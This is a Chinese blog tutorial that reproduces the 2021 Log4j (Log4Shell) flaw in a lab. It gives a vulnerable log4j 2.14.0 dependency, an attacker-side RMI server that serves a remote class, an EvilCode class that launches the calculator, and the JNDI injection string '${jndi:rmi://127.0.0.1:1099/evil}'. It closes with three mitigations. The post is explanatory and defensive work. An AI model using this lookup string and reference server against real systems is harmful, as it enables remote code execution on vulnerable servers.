zoukankan      html  css  js  c++  java
  • java~RMI引起的log4j漏洞

    2021-12-10日左右,java的log4j框架出现了一个大漏洞,对服务器案例引起了不小的影响,当然只对于log4j的日志使用者来说,如果你是spring框架,用的是logback,不存在这个问题。

    RMI和JNDI

    • RMI(Remote Method Invocation) 即Java远程方法调用,一种用于实现远程过程调用的应用程序编程接口
    • JNDI (Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口
    • JNDI和RMI的主要关系是RMI注册的服务可以通过JNDIAPI访问。在讨论到Spring反序列化漏洞之前,先看看如果通过JNDI来调用RMI注册的服务。

    模拟漏洞重现

    • pom依赖
        <dependency>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-starter-web</artifactId>
                <exclusions>
                    <exclusion>
                        <groupId>org.springframework.boot</groupId>
                        <artifactId>spring-boot-starter-logging</artifactId>
                    </exclusion>
                </exclusions>
            </dependency>
    
            <!--log4j2核心包-->
            <dependency>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-api</artifactId>
                <version>2.14.0</version>
            </dependency>
            <dependency>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-core</artifactId>
                <version>2.14.0</version>
            </dependency>
    
    • 黑客端
    /**
     * 构建RMI服务来响应恶意代码
     * <p>
     * Java RMI,即 远程方法调用(Remote Method Invocation),一种用于实现远程过程调用(RPC)的Java API, 能直接传输序列化后的Java对象和分布式垃圾收集。它的实现依赖于(JVM),因此它仅支持从一个JVM到另一个JVM的调用。
     */
    public class RMIServer {
      @SneakyThrows
      public static void main(String... args) {
        try {
          // 本地主机上的远程对象注册表Registry的实例,默认端口1099
          LocateRegistry.createRegistry(1099);
          Registry registry = LocateRegistry.getRegistry();
          System.out.println("Create RMI registry on port 1099");
          //返回的Java对象
          Reference reference = new Reference("bug.EvilCode", "bug.EvilCode", null);
          ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
          // 把远程对象注册到RMI注册服务器上,并命名为evil
          registry.bind("evil", referenceWrapper);
        } catch (RemoteException | AlreadyBoundException | NamingException e) {
          e.printStackTrace();
        }
      }
    
    /**
     * 执行任意的脚本,目前的脚本会使windows服务器打开计算器.
     */
    public class EvilCode {
      static {
        System.out.println("受害服务器将执行下面命令行");
        Process p;
    
        String[] cmd = {"calc"};
        try {
          p = Runtime.getRuntime().exec(cmd);
          InputStream fis = p.getInputStream();
          InputStreamReader isr = new InputStreamReader(fis);
          BufferedReader br = new BufferedReader(isr);
          String line = null;
          while ((line = br.readLine()) != null) {
            System.out.println(line);
          }
        } catch (IOException e) {
          e.printStackTrace();
        }
      }
    }
    
    • 网站端
    public class Server {
      private static final Logger logger = LogManager.getLogger();
    
      public static void main(String[] args) {
        String name = "${java:runtime}";
        logger.info("name:{}", name);
        //模拟填写数据,输入构造好的字符串,使受害服务器打印日志时执行远程的代码 同一台可以使用127.0.0.1
        String username = "${jndi:rmi://127.0.0.1:1099/evil}";
        //正常打印业务日志
        logger.error("username:{}", username);
    
      }
    }
    
    

    【紧急补救措施3选1】

    1. 修改 JVM 参数 -Dlog4j2.formatMsgNoLookups=true
    2. 修改配置 log4j2.formatMsgNoLookups=True
    3. 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

  • 相关阅读:
    年末反思
    Flink运行时架构
    Phoenix 启动报错:Error: ERROR 726 (43M10): Inconsistent namespace mapping properties. Cannot initiate connection as SYSTEM:CATALOG is found but client does not have phoenix.schema.
    Clickhouse学习
    Flink简单认识
    IDEA无法pull代码到本地,Can't Update No tracked branch configured for branch master or the branch doesn't exist.
    第1章 计算机系统漫游
    简单的 Shell 脚本入门教程
    开源≠免费 常见开源协议介绍
    MySQL 视图
  • 原文地址:https://www.cnblogs.com/lori/p/15683507.html
Copyright © 2011-2022 走看看